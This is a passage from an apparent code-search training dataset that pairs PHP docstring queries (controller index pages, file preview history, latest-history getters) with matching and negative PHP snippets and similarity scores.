"public function getFileVuesequipe(): string\n {\n return (string) $this->fileVuesequipe;\n }",
"public function __construct()\n\t{\n\t\t// default from encoding\n\t\t$this->from = 'CP1252';\n\n\t\t// default to encoding\n\t\t$this->to = 'UTF-8';\n\t}"
] | [
"0.5491813",
"0.5375482",
"0.5330253",
"0.5319997",
"0.5252711",
"0.5192773",
"0.51602566",
"0.51426685",
"0.5139138",
"0.51164806",
"0.5093013",
"0.50898206",
"0.50703794",
"0.5064478",
"0.5061341",
"0.50570405",
"0.5045338",
"0.5034662",
"0.50240314",
"0.5019919",
"0.50096357",
"0.49983388",
"0.4990786",
"0.4970043",
"0.49334177",
"0.49302244",
"0.4927857",
"0.49255845",
"0.49240184",
"0.49233484",
"0.49214017",
"0.49171484",
"0.4915741",
"0.4909884",
"0.49092475",
"0.490829",
"0.49073622",
"0.49069366",
"0.49064508",
"0.49052408",
"0.49003485",
"0.49003485",
"0.49003485",
"0.4899172",
"0.48683277",
"0.48605362",
"0.48532557",
"0.48499623",
"0.4838498",
"0.48319358",
"0.48311645",
"0.4830585",
"0.48197445",
"0.48195356",
"0.48119503",
"0.48099914",
"0.4797618",
"0.47941953",
"0.47908098",
"0.47782543",
"0.47760478",
"0.47742406",
"0.47721684",
"0.47675654",
"0.4766485",
"0.4760813",
"0.47599047",
"0.47567597",
"0.47567597",
"0.47567597",
"0.47550765",
"0.47539404",
"0.4744311",
"0.47372139",
"0.4734449",
"0.47333053",
"0.4731192",
"0.47227025",
"0.47227025",
"0.47225788",
"0.47111207",
"0.47109267",
"0.47089604",
"0.47051588",
"0.4695039",
"0.4692249",
"0.46904674",
"0.46895516",
"0.46894664",
"0.4689166",
"0.46882525",
"0.46819094",
"0.46767336",
"0.46703014",
"0.46656266",
"0.46600586",
"0.46592513",
"0.46578968",
"0.46566504",
"0.4653121",
"0.4650467"
] | 0.0 | -1 |
Index Page for this controller. Maps to the following URL or or Since this controller is set as the default controller in config/routes.php, it's displayed at So any other public methods not prefixed with an underscore will map to /index.php/welcome/ | public function __construct()
{
parent::__construct();
$this->load->library('form_validation');
if ($this->session->userdata('is_admin_login') || $this->session->userdata('is_user_login')) {
}else{
redirect('home');
}
$this->load->model('patients');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function index () {\n $view = new WelcomeIndex();\n $view->display();\n }",
"public function index()\n\t{\n\t\treturn view(\"welcome\");\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome');\n\t}",
"public function action_index()\r\n\t{\r\n\t\t$this->title = 'Welcome';\r\n\t\t$this->template->content = View::factory('index');\r\n\t}",
"public function index()\n\t{\n\t\treturn view('welcome');\n\t}",
"public function index()\n\t{\n\t\treturn view('welcome');\n\t}",
"public function indexAction()\n\t{\n\t\t//echo 'Hello from the index action in the Home controller!';\n\t\t\n\t\t/*View::render('Home' . DS . 'index.php', [\n\t\t\t\"name\" => \"Laura\",\n\t\t\t\"colours\" => [\"red\", \"green\", \"blue\"]\n\t\t]);*/\n\t\t\n\t\t// View::renderTemplate('Home' . DS . 'index.html', [\n\t\t// \t\"name\" => \"Laura\",\n\t\t// \t\"colours\" => [\"red\", \"green\", \"blue\"]\n // ]);\n \n\t\t$this->showRouteParams();\n\t\t// echo \"Hello, World!\";\n }",
"public function index()\n\t{\n\t\t//Default view\n\t\t$this->load->view('index.html');\n\t}",
"function index() {\n\n // This page cannot be accessed without providing a page\n // the routes.php file will not allow the page to be accessed\n // $route['pages/(:any)'] = 'pages/view/$';\n redirect('/', 'refresh');\n\n }",
"public function Index()\n\t{\n\t\t$this->views->SetTitle('Index Controller');\n\t\t$this->views->AddView('index/index.tpl.php', array(),'primary');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('default/index');\n\t}",
"public function index()\n\t{\t\n\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index() {\n\t\t$this->display('index');\n\t}",
"public function indexAction()\n {\n $arr = [\n 'title' => 'Welcome',\n 'data' => [\n 'name' => 'PHP FRAMEWORK',\n ]\n ];\n View::renderTemplate('Welcome/index.html', $arr);\n }",
"public function index()\n\t{\n\t\t$this->load->view('index');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('index');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('index');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('index');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('index');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('index');\n }",
"public function show_index()\n {\n return view('welcome');\n }",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('welcome_message');\n\t}",
"public function Index()\n {\n $this->standardView('Index');\n }",
"public function index()\n {\n return view('main.welcome');\n }",
"public function index()\n {\n // return view('welcome');\n }",
"public function index()\n {\n $this->load->view('index');\n }",
"public function index()\n {\n // return view('welcome');\n \n }",
"public function index()\n\t{\n\t\t$this->load->view('home');\n\t}",
"public function index() {\n \n return view('welcome');\n }",
"public function index()\n\t{\n\t\techo \"Nothing !\";\n\t}",
"public function index()\n {\n return view('pages.welcome');\n }",
"public function index()\n {\n $this->load->view('welcome_message');\n }",
"public function index()\n {\n $this->load->view('welcome_message');\n }",
"public function Index()\n {\n \treturn view(\"index\");\n\t}",
"public function index()\n {\n\t\t/*$this->layout->setTitle('Welcome to our Blog');\n\t\t$this->layout->showView('welcome/about.php');*/\n\t\techo 'hello I\\'m using codeigniter';\n }",
"public function index() {\n\n\t\tif(!empty($_GET['page'])) {\n\t\t\tif($_GET['page'] == 'home') {\n\t\t\t\t(new HomeController)->home();\n\t\t\t} elseif($_GET['page'] == 'about-me') {\n\t\t\t\t(new HomeController)->aboutMe();\n\t\t\t}\n\t\t} else {\n\t\t\t(new HomeController)->home();\n\t\t}\n\t}",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n {\n return view('welcome');\n }",
"public function index()\n\t{\n\t\treturn view('pages/home');\n\t}",
"public function index()\n {\n return \"INDEX PAGE\";\n }",
"public function index()\n\t{\n\t\treturn view('home');\n\t}",
"public function index()\n\t{\n\t\treturn view('home');\n\t}",
"function index() {\n \n parent::index();\n\n\t\t$data['user_id'] = $this->tank_auth->get_user_id();\n\t\t$data['username'] = $this->tank_auth->get_username();\n\t\t$data['main_content_view'] = $this->load->view('welcome', $data, true);\n $this->render_template($data);\n\t}",
"public function index()\n {\n SEOMeta::setTitle('Trusted Mortgage & Remortgage Solutions In UK - SmartMortgages UK');\n SEOMeta::setDescription('Home Page Description: For competitive mortgage and remortgage quotes around the UK at affordable rates, speak to one of our expert credit consultants and get a mortgage. For more visit us today.');\n\n return view('welcome');\n }",
"public function index()\n\t{\n\t\t$this->title = 'My Index Action';\n\n\t\treturn new View('basic/index');\n\t}",
"public function index()\n\t{\n\t\t$data['title'] = 'Home | Welcome to AEY';\n\t\t$data ['view_page'] = 'homepage';\n\n\t\t$this->load->view('site', $data);\n\t}",
"public function index()\n {\n\n return view('welcome');\n\n }",
"public function actionIndex(){ \n $this->view(\"index.php\");\n }",
"public function index() {\n $this->registry->template->module = 'welcome';\n \n /*** load the index template ***/\n $this->registry->template->show('index');\n }",
"public function index()\n {\n return view('front.welcome');\n }",
"public function actionIndex()\n\t{\n\t $this->pageTitle = 'Get Started';\n\t\t$this->render('index');\n\t}",
"public function index()\n\t{\n\t\treturn $this->traces();\n\t\treturn view('welcome');\n\t}",
"public function index()\n\t{\n\t\t$this->loadViews(\"index\");\n\t}",
"public function index() {\n\t\t$this->title = 'Home';\n\t\t$this->pageData['pages'] = Page::getAll();\n\t\t$this->render('index');\n\t}",
"public function index()\n\t{\n\t\t$this->load->view('home/home');\n\t}",
"public function index() \n\t{\n\t\t$this->_render_hod_view('home');\n\t}",
"public function index()\r\n\t{\r\n\t\techo \"index\";\r\n\t}",
"public function index()\n\t{\n\t\t$this->twig->display('welcome/index.html', []);\n\t}",
"public function Index() {\n $this->Display();\n }",
"public function index()\r\n {\r\n View::render('home');\r\n }",
"public function index()\n {\n $title = 'Welcome Page';\n return view($this->view . '.home', compact('title'));\n }",
"public function index()\n\t{\n\t\t//\n\t\techo'index';\n\t}",
"public function index() {\n $this->getView('navigation', array('pagename' => 'Welcome'));\n $this->getView('welcome');\n $this->getView('footer');\n }",
"public function index()\n {\n return view(\"home\");\n }",
"public function home()\n\t{\n\t\t$this->load->view('index_view');\n\t}",
"function index() {\n $this->renderView(\"index\");\n }",
"public function index()\n {\n return view('welcome');\n }",
"function index()\r\n\t{\r\n\t\t$this->view(); \r\n\t}",
"public function index()\n\t{\n\t\treturn view('index');\n\t}",
"public function index()\n {\n\n\n\n return view('welcome');\n }",
"public function index() {\n\t\t$page = Page::getInstance();\n\t\t$session = Session::getInstance();\n\t\t$page->setPageTitle('Method index notfound');\n\t\t$session->setFlash('Chaque controller doit avoir une méthode index', 'error');\n\t}",
"public function index()\r\n\t{\r\n\t\t//\r\n\t}",
"public function index()\n {\n return View(\"pages.home\");\n }",
"public function index() {\n\t\t// render the view (/view/main/index.php)\n\t\t$this->view->render(\"main\", \"index\");\n\t}",
"public function index()\n {\n // Nothing to do\n }",
"public function index(){\n return view('welcome');\n }",
"public function index()\n\t{\n\t\t//\n\t}",
"public function index()\n\t{\n\t\t//\n\t}",
"public function index()\n\t{\n\t\t//\n\t}",
"public function index()\n\t{\n\t\t//\n\t}"
] | [
"0.7656208",
"0.7415378",
"0.739705",
"0.73165625",
"0.722926",
"0.722926",
"0.71883744",
"0.7164455",
"0.71509767",
"0.71431154",
"0.71066415",
"0.707623",
"0.70758826",
"0.7040675",
"0.7028172",
"0.7028172",
"0.7028172",
"0.7028172",
"0.7028172",
"0.697183",
"0.696945",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69487256",
"0.69303524",
"0.6927715",
"0.69133115",
"0.6899643",
"0.68959033",
"0.6874349",
"0.68583345",
"0.6857129",
"0.68409765",
"0.6804193",
"0.6804193",
"0.6801996",
"0.6795203",
"0.6788503",
"0.67694515",
"0.67694515",
"0.67694515",
"0.67694515",
"0.67694515",
"0.67694515",
"0.67694515",
"0.67694515",
"0.67694515",
"0.67694515",
"0.67694515",
"0.676519",
"0.6762994",
"0.67605215",
"0.67605215",
"0.67516255",
"0.6751096",
"0.6746958",
"0.6741991",
"0.6740252",
"0.6727545",
"0.6717911",
"0.671309",
"0.67119247",
"0.6705847",
"0.66986567",
"0.6690381",
"0.6673991",
"0.6661683",
"0.6659657",
"0.66516685",
"0.66298157",
"0.66207856",
"0.6614142",
"0.6603182",
"0.65990907",
"0.6593946",
"0.65919256",
"0.65840274",
"0.65757334",
"0.65752256",
"0.65748125",
"0.6556026",
"0.65462685",
"0.65445244",
"0.65428305",
"0.6542043",
"0.65415514",
"0.65192914",
"0.6514898",
"0.6514898",
"0.6514898",
"0.6514898"
] | 0.0 | -1 |
the location of a file for preview / Constructor | public function __construct ( $previewFilename )
{
$GLOBALS [ 'log' ]->debug ( get_class ( $this ) . "->__construct( {$previewFilename} )" ) ;
$this->_previewFilename = $previewFilename ;
$this->_list = array ( ) ;
$this->_basename = basename ( $this->_previewFilename ) ;
$this->_dirname = dirname ( $this->_previewFilename );
$this->_historyLimit = isset ( $GLOBALS [ 'sugar_config' ] [ 'studio_max_history' ] ) ? $GLOBALS [ 'sugar_config' ] [ 'studio_max_history' ] : 50 ;
// create the history directory if it does not already exist
if (!is_dir($this->_dirname)) {
mkdir_recursive($this->_dirname);
}
else
{
// Reconstruct the history from the saved files
$filenameList = glob($this->getFileByTimestamp('*'));
if (!empty($filenameList))
{
foreach ($filenameList as $filename)
{
if(preg_match('/(\d+)$/', $filename, $match))
{
$this->_list [] = $match[1];
}
}
}
}
// now sort the files, oldest first
if (count ( $this->_list ) > 0)
{
sort ( $this->_list ) ;
}
// Make sure to clear the old _previewFilename on instantiation
$this->undoRestore();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function get_preview_relative_path(){\n\t\treturn $this->dir . '/' . $this->get_preview_name();\n\t}",
"function getPreviewUrl () {\n return link::preview($this->dir, $this->file);\n }",
"public function myFileLocation()\r\n {\r\n $reflection = new ReflectionClass($this);\r\n\r\n return dirname($reflection->getFileName());\r\n }",
"public function getFileToView()\n {\n // when displaying uploaded doc/image in the view.\n return '/../'.$this->getUploadDir().'/'.$this->path;\n }",
"public function view_file() {\n\t\t$currentPath = implode('/', $this->passedArgs);\n\t\t$fullPath = $this->path . $currentPath;\n\t\t$previousPath = implode('/', array_slice($this->passedArgs, 0, count($this->passedArgs) -1));\n\t\t$upOneFolder = implode('/', array_slice($this->passedArgs, 0, count($this->passedArgs) -2));\n\n\t\tif (!file_exists($fullPath)) {\n\t\t\t$this->_notFound(__('No file exists with that name', true));\n\t\t}\n\t\ttry {\n\t\t\t$docs = $this->ApiFile->loadFile($fullPath);\n\t\t} catch(Exception $e) {\n\t\t\t$this->_notFound($e->getMessage());\n\t\t}\n\t\t$classIndex = ClassRegistry::init('ApiGenerator.ApiClass')->getClassIndex();\n\t\tlist($dirs, $files) = $this->ApiFile->read($this->path . $previousPath);\n\n\t\tif (!empty($docs)) {\n\t\t\t$this->set('showSidebar', true);\n\t\t\t$this->set('sidebarElement', 'sidebar/file_sidebar');\n\t\t\t$this->set(compact('currentPath', 'previousPath', 'upOneFolder', 'docs', 'dirs', 'files', 'classIndex'));\n\t\t} else {\n\t\t\t$this->set('previousPath', $previousPath);\n\t\t\t$this->render('no_class');\n\t\t}\n\t}",
"public function getFileLocation()\n {\n return $this->fileLocation;\n }",
"public function getTargetFileName()\n {\n return 'preview_' . parent::getTargetFilename();\n }",
"function __construct($tpl_name = null) {\n $this->file = $this->_get_path($tpl_name);\n }",
"public function getFileUrl()\n {\n\n return get_bloginfo('url') . \"/\" . $this->getFileName();\n\n }",
"public function get_file() {\n\t\treturn __FILE__;\n\t}",
"public function __toString()\n {\n return $this->getFileLocation();\n }",
"public function __construct(string $file_path);",
"protected function get_file() {\n\n\t\treturn __FILE__;\n\t}",
"private function constructFilePath()\r\n {\r\n $this->filePath = MENU_PATH . \"/\" . $this->nameOfJson . \".json\";\r\n }",
"public function __construct($filename);",
"public function filePath();",
"public function getFileAToView()\n {\n // when displaying uploaded doc/image in the view.\n return '/../'.$this->getUploadDir().'/'.$this->pathA;\n }",
"function getViewFilePath();",
"public function file() {\n return resource_path('views/' . $this->crud->getPluralsKebabSlash() . \"/show.blade.php\");\n }",
"public function __construct($file);",
"public function filePath() {\n return $this->baseDir() . '/' . $this->fileName();\n }",
"public function getFilename()\n {\n return __FILE__;\n }",
"public function getFilepath() {\n\t\treturn RuntimeDirectoryManager::getDocumentRoot().$this->filename;\n\t}",
"public function getFilepath();",
"public function getLocation() {\n\t\tif(isset($this->data['mdid'])) {\n\t\t\treturn $this->data['md_folder'] . $this->data['md_filename'];\n\t\t}\n\t\treturn ;\n\t}",
"public function getCurrentFile() {}",
"public function get_preview_url()\n {\n }",
"public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}",
"public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}",
"public function path(): string\n {\n return 'files/' . $this->model->filename();\n }",
"function __construct($file){\t\t\n\t\t$this->pathFile = $file;\t\t\t\t\t\t\t\t\t\t// inisialisasi pathFile\n\t\t$this->filename = pathinfo($this->pathFile)['filename'];\t\t//mengambil namafile dari pathFile\n\t\t$this->getTextInside();\t\t\t\t\t\t\t\t\t\t\t//menjalankan fungsi getTextInside\n\t}",
"public function getFilePath();",
"public function getFilePath();",
"public function getFilePath();",
"public function getFilePath();",
"public static function file() {\r\n\t\treturn __FILE__;\r\n\t}",
"function __construct($file = null){\n\t\t$this->file = $file;\n\t}",
"public function __construct($file = \"\")\n {\n $this->file = $file;\n }",
"public function getTemplateFilePath() {\n\t}",
"public function path() {\n return $this->filepath();\n }",
"private function getFilePath() {\n\t\treturn $this->options['path'].'/'.md5($this->options['revision']).'/'.$this->path;\n\t}",
"public function fullPath(){\n if ( strpos( $this->template, DIRECTORY_SEPARATOR ) === 0 ) {\n return $this->template . '.php';\n } else {\n return $this->path . DIRECTORY_SEPARATOR . $this->template . '.php';\n }\n }",
"public function preview(File $file): string;",
"private function filePath()\n {\n return $this->filePath;\n }",
"public function getFile() {}",
"public function getFile() {}",
"public function getFilepath()\n {\n return $this->filepath;\n }",
"public function get_preview_name(){\n\t\treturn \"{$this->id}_preview.png\";\n\t}",
"public function __construct($filepath=null) {\r\n\t\tif($filepath) {\r\n\t\t\t$this->filepath = $filepath;\t\t\t\t\t\r\n\t\t}\r\n\t}",
"function __construct($file=null) {\n $this->file = $file;\n }",
"function __construct() {\n $this->setMarkdownPath( DATAPATH . self::MARKDOWN_PATH );\n $this->setHtmlPath( DATAPATH . self::HTML_PATH );\n $this->setSummaryPath( DATAPATH . self::SUMMARY_PATH );\n }",
"public function getFile ();",
"public static function getFile() {}",
"public function getPreview()\n {\n\tif ($this->_preview != null) {\n\t return self::PREVIEW_PATH . $this->_preview;\n\t} else {\n\t return null;\n\t}\n }",
"public function getFilePath()\n {\n return $this->file_path;\n }",
"public function getSrcPath()\n {\n return $this->getSettingArray()[\"src_path\"];\n }",
"function __construct() {\r\n $this->_objTpl = new \\Cx\\Core\\Html\\Sigma(ASCMS_CORE_MODULE_PATH.'/FileBrowser/View/Template/Backend');\r\n \\Cx\\Core\\Csrf\\Controller\\Csrf::add_placeholder($this->_objTpl);\r\n $this->_objTpl->setErrorHandling(PEAR_ERROR_DIE);\r\n\r\n $this->_iconPath = ASCMS_CORE_MODULE_WEB_PATH.'/FileBrowser/View/Media/'; \r\n $this->_setFrontendLanguageId();\r\n $this->_mediaType = $this->_getMediaType(); \r\n $this->_mediaMode = $this->_getMediaMode();\r\n $this->_path = $this->_getPath();\r\n \r\n $this->checkMakeDir();\r\n $this->_initFiles();\r\n }",
"private function __fileContent()\n {\n return VIEWS . DS . $this->__paths['controller'] . DS . $this->__paths['action'] . '.php';\n }",
"public function __construct($fp) {\n\n $this->board = new Board();\n $this->filepath = $fp;\n $this->fileSize = filesize($this->filepath);\n }",
"public function __construct($filename=''){\t\t\n\t\t$this->_filename = $filename;\n\t}",
"public function getFile3ToView()\n {\n // when displaying uploaded doc/image in the view.\n return '/../'.$this->getUploadDir().'/'.$this->path3;\n }",
"public static function getSourceFilePath() {\n\n return get_option( 'geb_gfe_uploaded_template' );\n }",
"public function __construct($file)\n {\n }",
"public function __construct($file)\n {\n }",
"public function getFilePath(){\n\t\treturn $this->_filepath;\n\t}",
"public function init($file)\n {\n $this->path = dirname($file);\n $this->url = plugin_dir_url($file);\n }",
"function __construct() {\n $this->_determine_custom_dir( dirname( __FILE__ ) );\n }",
"public function view()\n {\n return $this->entry->getPath();\n }",
"public function source() {\n\t\tif (count($this->passedArgs) == 1 && $this->passedArgs[0] == 'index') {\n\t\t\tarray_shift($this->passedArgs);\n\t\t}\n\t\t$currentPath = implode('/', $this->passedArgs);\n\t\t$previousPath = implode('/', array_slice($this->passedArgs, 0, count($this->passedArgs) -1));\n\t\tlist($dirs, $files) = $this->ApiFile->read($this->path . $currentPath);\n\t\t$this->set(compact('dirs', 'files', 'currentPath', 'previousPath'));\n\t}",
"function PHPTemplate($file = '') {\r\n $this->file = $file;\r\n }",
"function __construct(){\n \n $this->placeholder_photo = \"usr.jpg\"; \n $this->upload_dir = \"images\"; \n $this->placeholder_photo_url = \"http://placehold.it/400X400?text=image\"; \n }",
"public function thumbnailPath() {\n return $this->baseDir() . '/tn-' . $this->fileName();\n }",
"protected function getCurrentAbsolutePath() {\n\t\treturn dirname(SS_ClassLoader::instance()->getManifest()->getItemPath(get_class($this)));\n\t}",
"public function getUrl(){\n\t \treturn $this->dirname.'/'.$this->filename.'.'.$this->extension;\n\t }",
"public function path();",
"function __construct() {\n $this->imageDir = __DIR__ . '/files';\n $this->fonts = [\n 'San Francisco Display' => '/System/Library/Fonts/SFNSDisplay.ttf',\n 'San Francisco Text' => '/System/Library/Fonts/SFNSText.ttf'];\n }",
"function getFilename()\n {\n return __FILE__;\n }",
"public function get_human_readable_file_location($file)\n {\n }",
"public function getResourcePath();",
"function getSourceFilePath()\n {\n return $this->sourceFilePath;\n }",
"public function getThumbnailLocation() {\n\t\treturn Images::BLIZZARD_PATH . $this->thumbnail;\n\t}",
"public function __construct()\n\t{\n\t\t$doc = FDocument::getConfig();\n\t\t$this->base_dir = $doc->get('base_dir').$this->baseTemplate.DS.$doc->get('template');\n\t\t$this->base_url = $doc->get('base').$this->baseTemplate.DS.$doc->get('template').DS;\n\t\t$this->title\t= $doc->get('title');\n\t}",
"public static function getFilePath(): string\n {\n return static::getInstance()->getFilePath();\n }",
"protected function ___url() {\n\t\treturn $this->pagefiles->url . $this->basename;\n\t}",
"public function path() {}",
"public function path() {}",
"public function getSourceFilePath(): string\n {\n $basePath = 'app/DataTransferObjects';\n if ($this->getDir()) {\n $basePath = $basePath.'/'.$this->getDir();\n }\n return base_path($basePath).'/'.$this->name.'.php';\n }",
"protected static function file()\n {\n }",
"function get_file()\n\t{\n\t\treturn $this->file;\n\t}",
"public function getDocumentUrl() {\n Yii::$app->params['uploadUrl'] = Yii::$app->urlManager->baseUrl . '/web/pdf/estrategias/';\n// return a default image placeholder if your source avatar is not found\n $evidencias = isset($this->evidencias) ? $this->evidencias : null;\n return Yii::$app->params['uploadUrl'] . $evidencias;\n }",
"public function baseFile()\n\t{\n\t\treturn $this->baseFile;\n\t}",
"protected function fileName() {}",
"public function __construct($path);",
"public function getFile();",
"public function getFile();",
"public function __construct($filename)\n {\n $this->filename = $filename;\n }",
"public function __construct($file) {\n $this->file = $file;\n }",
"public function __construct()\n {\n //\n\n\t echo new FakeFile( )\n }",
"public static function getFileLocation()\n {\n $config = Yaml::parseFile(__DIR__.'/../../config.yaml');\n return (isset($config[\"log\"][\"file\"])) ? __DIR__.\"/\".$config[\"log\"][\"file\"] : __DIR__.\"/app.log\";\n }",
"public function getPreviewUrlAttribute()\n {\n return storage_url(array_get($this->attributes, 'preview_path'));\n }"
] | [
"0.7006693",
"0.6801717",
"0.6497398",
"0.64087564",
"0.630835",
"0.63012004",
"0.6268259",
"0.62317395",
"0.6200262",
"0.61939967",
"0.61921513",
"0.6182623",
"0.61406136",
"0.61405814",
"0.6128783",
"0.61253256",
"0.61201984",
"0.6104896",
"0.60850734",
"0.6071497",
"0.60175896",
"0.5992014",
"0.599085",
"0.5978184",
"0.5977195",
"0.59716487",
"0.59659386",
"0.59604245",
"0.59604245",
"0.593835",
"0.59378433",
"0.5930079",
"0.5930079",
"0.5930079",
"0.5930079",
"0.5925393",
"0.5908833",
"0.5907736",
"0.5898671",
"0.5892137",
"0.58908737",
"0.5884252",
"0.5868141",
"0.5866704",
"0.5856775",
"0.58552665",
"0.58448374",
"0.5840625",
"0.5832704",
"0.5829552",
"0.5824414",
"0.5822455",
"0.58060455",
"0.580545",
"0.5800358",
"0.57956225",
"0.57944095",
"0.5794177",
"0.5783453",
"0.578222",
"0.5770612",
"0.57688564",
"0.5767333",
"0.5766917",
"0.5764994",
"0.5760886",
"0.5757803",
"0.5755858",
"0.57408786",
"0.57366914",
"0.57340366",
"0.5729185",
"0.5717933",
"0.571443",
"0.57025355",
"0.56995803",
"0.56983227",
"0.5693521",
"0.5693378",
"0.56926566",
"0.5688118",
"0.56862676",
"0.5678929",
"0.56746703",
"0.56732583",
"0.5673154",
"0.5668783",
"0.566131",
"0.56535304",
"0.5642475",
"0.56337196",
"0.5632171",
"0.5631367",
"0.5628016",
"0.5628016",
"0.56274635",
"0.56247514",
"0.56202626",
"0.5616955",
"0.56148016"
] | 0.60589373 | 20 |
/ Get the most recent item in the history | public function getCount ()
{
return count ( $this->_list ) ;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getLatestHistory() {\n $history = $this->getHistory();\n if (count($history) === 0) {\n return null;\n }\n return $history[count($history) - 1];\n }",
"public function getLatestItem()\n {\n return end($this->items);\n }",
"public function getLastItem() {}",
"public function getLastItem() {}",
"public function lastItem();",
"public function latest();",
"public function getLast ()\n {\n return reset ( $this->_list ) ;\n }",
"function getLastItem() { return $this->m_lastItem; }",
"public function getItemsHistory()\n {\n return $this->get(self::_ITEMS_HISTORY);\n }",
"function getHistory() {\n\t\treturn db_query_params ('SELECT * FROM artifact_history_user_vw WHERE artifact_id=$1 ORDER BY entrydate DESC, id ASC',\n\t\t\t\t\tarray ($this->getID())) ;\n\t}",
"public function getLatestRecord();",
"public function last()\n {\n return $this->execGetRequest(['allow_state' => true], UrlBuilder::RESOURCE_GET_LATEST_NEWS);\n }",
"public function lastItem() {\n\t\treturn $this->fastForward()->current();\n\t}",
"function GetHistoryItem($val) /*12_05_2007 возвращает адрес из истории со смещением назад равным $val*/\n\t\t{\n\t\tif($this->history[count($this->history)-$val])\n\t\t\t$ret = $this->history[count($this->history)-$val];\n\t\telse\n\t\t\t$ret = $_SERVER['SERVER_NAME'];\n//\t\treturn $this->history[count($this->history)-1]; \n\t\treturn $ret;\n\t\t}",
"public function getLast()\n\t{\n\t\t$this->_db->setQuery(\"SELECT publish_down FROM $this->_tbl ORDER BY publish_down DESC LIMIT 1\");\n\t\treturn $this->_db->loadResult();\n\t}",
"public static function mostRecent()\n {\n return self::latest()->published()->first();\n }",
"public function getMostRecentUnStable()\n {\n return $this->selectRecentUnstable();\n }",
"public function last()\n {\n return Arr::last($this->items);\n }",
"function top()\n {\n return $this->items[count($this->items) - 1];\n }",
"public function getMostRecentStable()\n {\n return $this->selectRecentStable();\n }",
"public function last() {\n if ($this->count >= 1) {\n return $this->items[count($this->items) - 1];\n }\n else\n return null;\n }",
"public function getLast()\n {\n $k = count($this);\n if ($k > 0) {\n return $this[$k - 1];\n }\n }",
"public function last()\n {\n $record = R::findOne( $this->table_name(), \" order by id desc \");\n\n return $this->map_reford_to_object( $record );\n }",
"public function getLastChange()\n {\n return $this->get(self::_LAST_CHANGE);\n }",
"public function getLastChange()\n {\n return $this->get(self::_LAST_CHANGE);\n }",
"public function getMostRecentBuild()\n {\n return $this->builds[0];\n }",
"public function maxDate()\n {\n $qb = $this->createQueryBuilder('h')->select('h')->orderBy('h.date', 'DESC')->setMaxResults(1);\n /** @var AbstractHistory $last */\n $last = $qb->getQuery()->getOneOrNullResult();\n\n if (is_null($last)) {\n return;\n }\n\n return $last->getDate();\n }",
"public function last()\n {\n return end($this->items);\n }",
"public function getMostRecentRequest() {\n return array_slice($this->statusRequests, -1)[0];\n }",
"function last()\r\n {\r\n if ($this->count()>=1)\r\n {\r\n return($this->items[count($this->items)-1]);\r\n }\r\n else\r\n {\r\n return(null);\r\n }\r\n }",
"public function getLastchange()\n {\n return $this->get(self::_LASTCHANGE);\n }",
"protected function _getLatestItem()\n {\n if ($this->_latestItem == null) {\n $items = array_values($this->_criticalCollection->getItems());\n $this->_latestItem = false;\n if (count($items)) {\n $this->_latestItem = $items[0];\n }\n }\n return $this->_latestItem;\n }",
"public function GetLastRecord(){$this->LastPosts();return $this->lastrecord;}",
"public function getLastQuery(): string\n {\n return array_values(array_slice($this->History, -1))[0];\n }",
"public function mostRecentRun() {\n\t\t$activities = $this->activities();\n\t\treturn reset($activities);\n\t}",
"public function getLastItem()\n {\n if ($this->valid() === false) {\n return null;\n }\n return $this->getRow($this->count() - 1);\n }",
"public function getLast();",
"public function getLast();",
"public function retrieveLastItemId() {\n return $this->itemsDB->retrieveLastItemId();\n }",
"function get_history() {\n\t\treturn $this->history;\n\t}",
"public function last()\r\n\t{\r\n\t\treturn end($this->_items);\r\n\t}",
"function getLastViewed();",
"protected function getHistoryRecord() {\n\t\tif (!$this->model->isNew()) {\n\t\t\t/** @var HasHistory $model */\n\t\t\t$model = $this->model->getStoredCopy();\n\n\t\t\t// Using stored copy, in order to safeguard partial representations of\n\t\t\t// existing models.\n\t\t\t$this->historyRecord = $model->getHistory();\n\t\t}\n\n\t\tif (empty($this->historyRecord)) {\n\t\t\t$this->historyRecord = $this->createHistoryRecord();\n\t\t}\n\n\t\treturn $this->historyRecord;\n\t}",
"public function last() {\n\t\treturn $this->valueForKey($this->lastKey());\n\t}",
